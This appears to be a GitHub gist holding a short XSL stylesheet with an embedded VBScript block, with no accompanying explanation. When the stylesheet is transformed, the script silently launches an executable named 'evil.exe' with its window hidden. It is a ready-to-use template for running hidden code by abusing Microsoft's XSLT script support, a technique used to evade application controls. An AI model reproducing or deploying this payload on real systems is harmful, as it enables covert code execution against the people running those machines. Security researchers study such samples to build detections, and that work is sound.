Skip to content

Instantly share code, notes, and snippets.

@fareedfauzi
Created December 23, 2019 06:38
Show Gist options
  • Save fareedfauzi/360ff733728f4396e925c0d50ca06444 to your computer and use it in GitHub Desktop.
Save fareedfauzi/360ff733728f4396e925c0d50ca06444 to your computer and use it in GitHub Desktop.
XML file
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language="VBScript" implements-prefix="user">
function myFunction()
set shell=createobject("wscript.shell")
shell.run "evil.exe",0
myFunction = 0
end function
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:myFunction()"/>
</xsl:template>
</xsl:stylesheet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment